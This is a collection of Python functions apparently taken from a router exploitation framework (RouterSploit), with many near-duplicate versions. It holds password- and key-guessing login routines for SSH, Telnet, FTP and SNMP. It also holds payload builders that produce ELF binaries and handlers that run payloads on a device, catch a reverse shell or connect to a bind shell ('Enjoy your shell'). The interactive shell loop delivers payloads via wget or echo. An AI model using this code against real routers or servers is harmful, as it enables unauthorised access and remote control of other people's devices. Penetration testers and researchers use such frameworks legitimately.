def get(self, community_string, oid, version=1, retries=0): cmdGen = cmdgen.CommandGenerator() try: errorIndication, errorStatus, errorIndex, varBinds = cmdGen.getCmd( cmdgen.CommunityData(community_string, mpModel=version), cmdgen.UdpTransportTarget((self.snmp_target, self.snmp_port), timeout=SNMP_TIMEOUT, retries=retries), oid, ) except Exception as err: print_error(self.peer, "SNMP Error while accessing server", err, verbose=self.verbosity) return None if errorIndication or errorStatus: print_error( self.peer, "SNMP invalid community string: '{}'".format(community_string), verbose=self.verbosity) else: print_success(self.peer, "SNMP valid community string found: '{}'".format( community_string), verbose=self.verbosity) return varBinds return None
def get(self, community_string: str, oid: str, version: int=1, retries: int=0) -> bytes: """ Get OID from SNMP server :param str community_string: SNMP server communit string :param str oid: SNMP server oid :param int version: SNMP protocol version :param int retries: number of retries :return bytes: SNMP server response """ cmdGen = cmdgen.CommandGenerator() try: errorIndication, errorStatus, errorIndex, varBinds = cmdGen.getCmd( cmdgen.CommunityData(community_string, mpModel=version), cmdgen.UdpTransportTarget((self.snmp_target, self.snmp_port), timeout=SNMP_TIMEOUT, retries=retries), oid, ) except Exception as err: print_error(self.peer, "SNMP Error while accessing server", err, verbose=self.verbosity) return None if errorIndication or errorStatus: print_error(self.peer, "SNMP invalid community string: '{}'".format(community_string), verbose=self.verbosity) else: print_success(self.peer, "SNMP valid community string found: '{}'".format(community_string), verbose=self.verbosity) return varBinds return None
def reverse_tcp(self): all_interfaces = "0.0.0.0" sock = self.listen(all_interfaces, self.options["lport"]) if self.port_used: print_error("Could not set up listener on {}:{}".format(all_interfaces, self.options["lport"])) return # execute binary commands = self.build_commands() print_status("Executing payload on the device") # synchronized commands for command in commands[:-1]: self.exploit.execute(command) # asynchronous last command to execute binary & rm binary thread = threading.Thread(target=self.exploit.execute, args=(commands[-1],)) thread.start() # waiting for shell print_status("Waiting for reverse shell...") client, addr = sock.accept() sock.close() print_status("Connection from {}:{}".format(addr[0], addr[1])) print_success("Enjoy your shell") t = telnetlib.Telnet() t.sock = client t.interact()
def bind_tcp(self): # execute binary commands = self.build_commands() # synchronized commands for command in commands[:-1]: self.exploit.execute(command) # asynchronous last command to execute binary & rm binary thread = threading.Thread(target=self.exploit.execute, args=(commands[-1],)) thread.start() # connecting to shell print_status("Connecting to {}:{}".format(self.options['rhost'], self.options['rport'])) time.sleep(2) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((self.options["rhost"], int(self.options["rport"]))) except socket.error: print_error("Could not connect to {}:{}".format(self.options["rhost"], self.options["rport"])) return print_success("Enjoy your shell") tn = telnetlib.Telnet() tn.sock = sock tn.interact()
def login(self, username: str, password: str, retries: int = 1) -> bool: """ Login to SSH server :param str username: SSH account username :param str password: SSH account password :param int retries: number of login retries :return bool: True if login was successful, False otherwise """ for _ in range(retries): try: self.ssh_client.connect(self.ssh_target, self.ssh_port, timeout=SSH_TIMEOUT, banner_timeout=SSH_TIMEOUT, username=username, password=password, look_for_keys=False) except paramiko.AuthenticationException: print_error(self.peer, "SSH Authentication Failed - Username: '******' Password: '******'".format(username, password), verbose=self.verbosity) self.ssh_client.close() break except Exception as err: print_error(self.peer, "SSH Error while authenticating", err, verbose=self.verbosity) else: print_success(self.peer, "SSH Authentication Successful - Username: '******' Password: '******'".format(username, password), verbose=self.verbosity) return True self.ssh_client.close() return False
def login_pkey(self, username: str, priv_key: str, retries: int = 1) -> bool: """ Login to SSH server with private key :param str username: SSH account username :param str priv_key: SSH account private key :param int retries: number of login retries :return bool: True if login was successful, False otherwise """ if "DSA PRIVATE KEY" in priv_key: priv_key = paramiko.DSSKey.from_private_key(io.StringIO(priv_key)) elif "RSA PRIVATE KEY" in priv_key: priv_key = paramiko.RSAKey.from_private_key(io.StringIO(priv_key)) else: return False for _ in range(retries): try: self.ssh_client.connect(self.ssh_target, self.ssh_port, timeout=SSH_TIMEOUT, banner_timeout=SSH_TIMEOUT, username=username, pkey=priv_key, look_for_keys=False) except paramiko.AuthenticationException: print_error(self.peer, "SSH Authentication Failed - Username: '******' auth with private key".format(username), verbose=self.verbosity) except Exception as err: print_error(self.peer, "SSH Error while authenticated by using private key", err, verbose=self.verbosity) else: print_success(self.peer, "SSH Authentication Successful - Username: '******' with private key".format(username), verbose=self.verbosity) return True self.ssh_client.close() return False
def get(self, community_string: str, oid: str, version: int = 1, retries: int = 0) -> bytes: """ Get OID from SNMP server :param str community_string: SNMP server communit string :param str oid: SNMP server oid :param int version: SNMP protocol version :param int retries: number of retries :return bytes: SNMP server response """ cmdGen = cmdgen.CommandGenerator() try: errorIndication, errorStatus, errorIndex, varBinds = cmdGen.getCmd( cmdgen.CommunityData(community_string, mpModel=version), cmdgen.UdpTransportTarget((self.snmp_target, self.snmp_port), timeout=SNMP_TIMEOUT, retries=retries), oid, ) except Exception as err: print_error(self.peer, "SNMP Error while accessing server", err, verbose=self.verbosity) return None if errorIndication or errorStatus: print_error(self.peer, "SNMP invalid community string: '{}'".format(community_string), verbose=self.verbosity) else: print_success(self.peer, "SNMP valid community string found: '{}'".format(community_string), verbose=self.verbosity) return varBinds return None
def login(self, username: str, password: str, retries: int = 1) -> bool: """ Login to Telnet server :param str username: Telnet account username :param str password: Telnet account password :param int retries: number of authentication retries :return bool: True if login was successful, False otherwise """ for _ in range(retries): try: if not self.connect(): continue self.telnet_client.expect([b"Login: "******"login: "******"Username: "******"username: "******"utf-8") + b"\r\n") self.telnet_client.expect([b"Password: "******"password: "******"utf-8") + b"\r\n") self.telnet_client.write(b"\r\n") (i, obj, res) = self.telnet_client.expect([b"Incorrect", b"incorrect"], 5) if i == -1 and any([x in res for x in [b"#", b"$", b">"]]) or len(res) > 500: # big banner e.g. mikrotik print_success(self.peer, "Telnet Authentication Successful - Username: '******' Password: '******'".format(username, password), verbose=self.verbosity) return True else: print_error(self.peer, "Telnet Authentication Failed - Username: '******' Password: '******'".format(username, password), verbose=self.verbosity) break except Exception as err: print_error(self.peer, "Telnet Error while authenticating to the server", err, verbose=self.verbosity) return False
def login(self, username: str, password: str, retries: int = 1) -> bool: """ Login to SSH server :param str username: SSH account username :param str password: SSH account password :param int retries: number of login retries :return bool: True if login was successful, False otherwise """ for _ in range(retries): try: self.ssh_client.connect( self.ssh_target, self.ssh_port, timeout=SSH_TIMEOUT, banner_timeout=SSH_TIMEOUT, username=username, password=password, look_for_keys=False, allow_agent=False, ) except paramiko.AuthenticationException: print_error(self.peer, "SSH Authentication Failed - Username: '******' Password: '******'".format(username, password), verbose=self.verbosity) self.ssh_client.close() break except Exception as err: print_error(self.peer, "SSH Error while authenticating", err, verbose=self.verbosity) else: print_success(self.peer, "SSH Authentication Successful - Username: '******' Password: '******'".format(username, password), verbose=self.verbosity) return True self.ssh_client.close() return False
def ssh_login(self, username, password, retries=1): ssh_client = self.ssh_create() for _ in range(retries): try: ssh_client.connect(self.target, self.port, timeout=SSH_TIMEOUT, banner_timeout=SSH_TIMEOUT, username=username, password=password, look_for_keys=False) except paramiko.AuthenticationException: print_error( "SSH Authentication Failed - Username: '******' Password: '******'" .format(username, password), verbose=self.verbosity) ssh_client.close() break except Exception as err: print_error("Err: {}".format(err), verbose=self.verbosity) else: print_success( "SSH Authentication Successful - Username: '******' Password: '******'" .format(username, password), verbose=self.verbosity) return ssh_client ssh_client.close() return
def telnet_login(self, username, password, target=None, port=None, retries=1): if not target: target = self.target if not port: port = self.port for _ in range(retries): try: telnet_client = self.telnet_connect(target=target, port=port) if not telnet_client: continue telnet_client.expect([b"Login: "******"login: "******"Username: "******"username: "******"utf-8") + b"\r\n") telnet_client.expect([b"Password: "******"password: "******"utf-8") + b"\r\n") telnet_client.write(b"\r\n") (i, obj, res) = telnet_client.expect([b"Incorrect", b"incorrect"], 5) if i == -1 and any([x in res for x in [b"#", b"$", b">"]]) or len(res) > 500: # big banner e.g. mikrotik print_success("Telnet Authentication Successful - Username: '******' Password: '******'".format(username, password), verbose=self.verbosity) return telnet_client else: print_error("Telnet Authentication Failed - Username: '******' Password: '******'".format(username, password), verbose=self.verbosity) break except EOFError: print_error("Telnet connection error", verbose=self.verbosity) except Exception as err: print_error(err, verbose=self.verbosity) return None
def command_unsetg(self, *args, **kwargs): key, _, value = args[0].partition(' ') try: del GLOBAL_OPTS[key] except KeyError: print_error("You can't unset global option '{}'.\n" "Available global options: {}".format(key, list(GLOBAL_OPTS.keys()))) else: print_success({key: value})
def command_set(self, *args, **kwargs): key, _, value = args[0].partition(" ") if key in self.current_module.options: setattr(self.current_module, key, value) self.current_module.exploit_attributes[key][0] = value if kwargs.get("glob", False): GLOBAL_OPTS[key] = value print_success("{} => {}".format(key, value)) else: print_error("You can't set option '{}'.\n" "Available options: {}".format(key, self.current_module.options))
def command_check(self, *args, **kwargs): try: result = self.current_module.check() except Exception as error: print_error(error) else: if result is True: print_success("Target is vulnerable") elif result is False: print_error("Target is not vulnerable") else: print_status("Target could not be verified")
def login_pkey(self, username: str, priv_key: str, retries: int = 1) -> bool: """ Login to SSH server with private key :param str username: SSH account username :param str priv_key: SSH account private key :param int retries: number of login retries :return bool: True if login was successful, False otherwise """ if "DSA PRIVATE KEY" in priv_key: priv_key = paramiko.DSSKey.from_private_key(io.StringIO(priv_key)) elif "RSA PRIVATE KEY" in priv_key: priv_key = paramiko.RSAKey.from_private_key(io.StringIO(priv_key)) else: return False for _ in range(retries): try: self.ssh_client.connect(self.ssh_target, self.ssh_port, timeout=SSH_TIMEOUT, banner_timeout=SSH_TIMEOUT, username=username, pkey=priv_key, look_for_keys=False) except paramiko.AuthenticationException: print_error( self.peer, "SSH Authentication Failed - Username: '******' auth with private key" .format(username), verbose=self.verbosity) except Exception as err: print_error( self.peer, "SSH Error while authenticated by using private key", err, verbose=self.verbosity) else: print_success( self.peer, "SSH Authentication Successful - Username: '******' with private key" .format(username), verbose=self.verbosity) return True self.ssh_client.close() return False
def login(self, username: str, password: str, retries: int = 1) -> bool: """ Login to Telnet server :param str username: Telnet account username :param str password: Telnet account password :param int retries: number of authentication retries :return bool: True if login was successful, False otherwise """ for _ in range(retries): try: if not self.connect(): continue self.telnet_client.expect( [b"Login: "******"login: "******"Username: "******"username: "******"utf-8") + b"\r\n") self.telnet_client.expect([b"Password: "******"password: "******"utf-8") + b"\r\n") self.telnet_client.write(b"\r\n") (i, obj, res) = self.telnet_client.expect([b"Incorrect", b"incorrect"], 5) if i == -1 and any([ x in res for x in [b"#", b"$", b">"] ]) or len(res) > 500: # big banner e.g. mikrotik print_success( self.peer, "Telnet Authentication Successful - Username: '******' Password: '******'" .format(username, password), verbose=self.verbosity) return True else: print_error( self.peer, "Telnet Authentication Failed - Username: '******' Password: '******'" .format(username, password), verbose=self.verbosity) break except Exception as err: print_error(self.peer, "Telnet Error while authenticating to the server", err, verbose=self.verbosity) return False
def write(self, characteristic, data): try: dev = Peripheral(self, self.addrType) services = sorted(dev.services, key=lambda s: s.hndStart) print_status( "Searching for characteristic {}".format(characteristic)) char = None for service in services: if char is not None: break for _, c in enumerate(service.getCharacteristics()): if str(c.uuid) == characteristic: char = c break if char: if "WRITE" in char.propertiesToString(): print_success("Sending {} bytes...".format(len(data))) wwrflag = False if "NO RESPONSE" in char.propertiesToString(): wwrflag = True try: char.write(data, wwrflag) print_success("Data sent") except Exception as err: print_error("Error: {}".format(err)) else: print_error("Not writable") dev.disconnect() except Exception as err: print_error(err) try: dev.disconnect() except Exception: pass return None
def write(self, characteristic, data): try: dev = Peripheral(self, self.addrType) services = sorted(dev.services, key=lambda s: s.hndStart) print_status("Searching for characteristic {}".format(characteristic)) char = None for service in services: if char is not None: break for _, c in enumerate(service.getCharacteristics()): if str(c.uuid) == characteristic: char = c break if char: if "WRITE" in char.propertiesToString(): print_success("Sending {} bytes...".format(len(data))) wwrflag = False if "NO RESPONSE" in char.propertiesToString(): wwrflag = True try: char.write(data, wwrflag) print_success("Data sent") except Exception as err: print_error("Error: {}".format(err)) else: print_error("Not writable") dev.disconnect() except Exception as err: print_error(err) try: dev.disconnect() except Exception: pass return None
def login(self, username: str, password: str) -> bool: """ Login to FTP server :param str username: FTP account username :param str password: FTP account password :return bool: True if login was successful, False otherwise """ try: self.ftp_client.login(username, password) print_success(self.peer, "FTP Authentication Successful - Username: '******' Password: '******'".format(username, password), verbose=self.verbosity) return True except Exception: print_error(self.peer, "FTP Authentication Failed - Username: '******' Password: '******'".format(username, password), verbose=self.verbosity) self.ftp_client.close() return False
def login(self, username: str, password: str) -> bool: """ Login to FTP server :param str username: FTP account username :param str password: FTP account password :return bool: True if login was successful, False otherwise """ try: self.ftp_client.login(username, password) print_success(self.peer, "FTP Authentication Successful - Username: '******' Password: '******'".format(username, password), verbose=self.verbosity) return True except Exception as err: print_error(self.peer, "FTP Authentication Failed - Username: '******' Password: '******'".format(username, password), verbose=self.verbosity) self.ftp_client.close() return False
def login(self, username, password): try: self.ftp_client.login(username, password) print_success( self.peer, "FTP Authentication Successful - Username: '******' Password: '******'" .format(username, password), verbose=self.verbosity) return self.ftp_client except Exception as err: print_error( self.peer, "FTP Authentication Failed - Username: '******' Password: '******'". format(username, password), verbose=self.verbosity) self.ftp_client.close() return None
def command_set(self, *args, **kwargs): key, _, value = args[0].partition(" ") if key in self.current_module.options: if key == "encoder": value = self.current_module.get_encoder(value) if not value: print_error("Encoder not available. Check available encoders with `show encoders`.") return setattr(self.current_module, key, value) self.current_module.exploit_attributes[key][0] = value if kwargs.get("glob", False): GLOBAL_OPTS[key] = value print_success("{} => {}".format(key, value)) else: print_error("You can't set option '{}'.\n" "Available options: {}".format(key, self.current_module.options))
def snmp_get(self, community_string, oid, version=1, retries=0): cmdGen = cmdgen.CommandGenerator() try: errorIndication, errorStatus, errorIndex, varBinds = cmdGen.getCmd( cmdgen.CommunityData(community_string, mpModel=version), cmdgen.UdpTransportTarget((self.target, self.port), timeout=SNMP_TIMEOUT, retries=retries), oid, ) except Exception: return None if errorIndication or errorStatus: print_error("SNMP invalid community string: '{}'".format(community_string), verbose=self.verbosity) else: print_success("SNMP valid community string found: '{}'".format(community_string), verbose=self.verbosity) return varBinds return None
def ssh_login(self, username, password, retries=1): ssh_client = self.ssh_create() for _ in range(retries): try: ssh_client.connect(self.target, self.port, timeout=SSH_TIMEOUT, banner_timeout=SSH_TIMEOUT, username=username, password=password, look_for_keys=False) except paramiko.AuthenticationException: print_error("SSH Authentication Failed - Username: '******' Password: '******'".format(username, password), verbose=self.verbosity) ssh_client.close() break except Exception as err: print_error("Err: {}".format(err), verbose=self.verbosity) else: print_success("SSH Authentication Successful - Username: '******' Password: '******'".format(username, password), verbose=self.verbosity) return ssh_client ssh_client.close() return
def run(self): print_status("Generating payload") try: data = self.generate() except OptionValidationError as e: print_error(e) return if self.output == "elf": with open(self.filepath, "wb+") as f: print_status("Building ELF payload") content = self.generate_elf(data) print_success("Saving file {}".format(self.filepath)) f.write(content) elif self.output == "c": print_success("Bulding payload for C") content = self.generate_c(data) print_info(content) elif self.output == "python": print_success("Building payload for python") content = self.generate_python(data) print_info(content) else: raise OptionValidationError( "No such option as {}".format(self.output) ) return content
def run(self): print_status("Generating payload") try: data = self.generate() except OptionValidationError as e: print_error(e) return if self.output == "elf": with open(self.filepath, 'wb+') as f: print_status("Building ELF payload") content = self.generate_elf(data) print_success("Saving file {}".format(self.filepath)) f.write(content) elif self.output == "c": print_success("Bulding payload for C") content = self.generate_c(data) print_info(content) elif self.output == "python": print_success("Building payload for python") content = self.generate_python(data) print_info(content) else: raise OptionValidationError( "No such option as {}".format(self.output) )
def ssh_login_pkey(self, username, priv_key, retries=1): ssh_client = self.ssh_create() if "DSA PRIVATE KEY" in priv_key: priv_key = paramiko.DSSKey.from_private_key(io.StringIO(priv_key)) elif "RSA PRIVATE KEY" in priv_key: priv_key = paramiko.RSAKey.from_private_key(io.StringIO(priv_key)) else: return None for _ in range(retries): try: ssh_client.connect(self.target, self.port, timeout=SSH_TIMEOUT, banner_timeout=SSH_TIMEOUT, username=username, pkey=priv_key, look_for_keys=False) except paramiko.AuthenticationException: print_error("Authentication Failed - Username: '******' auth with private key".format(username), verbose=self.verbosity) except Exception as err: print_error("Err: {}".format(err), verbose=self.verbosity) else: print_success("SSH Authentication Successful - Username: '******' with private key".format(username), verbose=self.verbosity) return ssh_client ssh_client.close() return None
def login(self, username, password, retries=1): for _ in range(retries): try: if not self.connect(): continue self.telnet_client.expect([b"Login: "******"login: "******"Username: "******"username: "******"utf-8") + b"\r\n") self.telnet_client.expect([b"Password: "******"password: "******"utf-8") + b"\r\n") self.telnet_client.write(b"\r\n") (i, obj, res) = self.telnet_client.expect([b"Incorrect", b"incorrect"], 5) if i == -1 and any([x in res for x in [b"#", b"$", b">"]]) or len(res) > 500: # big banner e.g. mikrotik print_success(self.peer, "Telnet Authentication Successful - Username: '******' Password: '******'".format(username, password), verbose=self.verbosity) return self.telnet_client else: print_error(self.peer, "Telnet Authentication Failed - Username: '******' Password: '******'".format(username, password), verbose=self.verbosity) break except Exception as err: print_error(self.peer, "Telnet Error while authenticating to the server", err, verbose=self.verbosity) return None
def shell(exploit, architecture="", method="", payloads=None, **params): available_payloads = {} payload = None options = [] if architecture and method: path = "routersploit/modules/payloads/{}/".format(architecture) # get all payloads for given architecture all_payloads = [f.split(".")[0] for f in listdir(path) if isfile(join(path, f)) and f.endswith(".py") and f != "__init__.py"] payload_path = path.replace("/", ".") for p in all_payloads: module = getattr(importlib.import_module("{}{}".format(payload_path, p)), 'Exploit') # if method/arch is cmd then filter out payloads if method is "cmd": if getattr(module, "cmd") in payloads: available_payloads[p] = module else: available_payloads[p] = module print_info() print_success("Welcome to cmd. Commands are sent to the target via the execute method.") print_status("For further exploitation use 'show payloads' and 'set payload <payload>' commands.") print_info() while True: while not printer_queue.empty(): pass if payload is None: cmd_str = "\001\033[4m\002cmd\001\033[0m\002 > " else: cmd_str = "\001\033[4m\002cmd\001\033[0m\002 (\033[94m{}\033[0m) > ".format(payload._Exploit__info__["name"]) cmd = input(cmd_str) if cmd in ["quit", "exit"]: return elif cmd == "show payloads": if not available_payloads: print_error("There are no available payloads for this exploit") continue print_status("Available payloads:") headers = ("Payload", "Name", "Description") data = [] for p in available_payloads.keys(): data.append((p, available_payloads[p]._Exploit__info__["name"], available_payloads[p]._Exploit__info__["description"])) print_table(headers, *data) elif cmd.startswith("set payload "): if not available_payloads: print_error("There are no available payloads for this exploit") continue c = cmd.split(" ") if c[2] in available_payloads.keys(): payload = available_payloads[c[2]]() options = [] for option in payload.exploit_attributes.keys(): if option not in ["output", "filepath"]: options.append([option, getattr(payload, option), payload.exploit_attributes[option][1]]) if payload.handler == "bind_tcp": options.append(["rhost", exploit.target, "Target IP address"]) if method == "wget": options.append(["lhost", "", "Connect-back IP address for wget"]) options.append(["lport", 4545, "Connect-back Port for wget"]) else: print_error("Payload not available") elif payload is not None: if cmd == "show options": headers = ("Name", "Current settings", "Description") print_info('\nPayload Options:') print_table(headers, *options) print_info() elif cmd.startswith("set "): c = cmd.split(" ") if len(c) != 3: print_error("set <option> <value>") else: for option in options: if option[0] == c[1]: try: setattr(payload, c[1], c[2]) except Exception: print_error("Invalid value for {}".format(c[1])) break option[1] = c[2] print_info("{} => {}".format(c[1], c[2])) elif cmd == "run": data = payload.generate() if method == "wget": elf_binary = payload.generate_elf(data) communication = Communication(exploit, elf_binary, options, **params) if communication.wget() is False: print_error("Exploit failed to transfer payload") continue elif method == "echo": elf_binary = payload.generate_elf(data) communication = Communication(exploit, elf_binary, options, **params) communication.echo() elif method == "cmd": params["exec_binary"] = data communication = Communication(exploit, "", options, **params) if payload.handler == "bind_tcp": communication.bind_tcp() elif payload.handler == "reverse_tcp": communication.reverse_tcp() elif cmd == "back": payload = None else: print_status("Executing '{}' on the device...".format(cmd)) print_info(exploit.execute(cmd))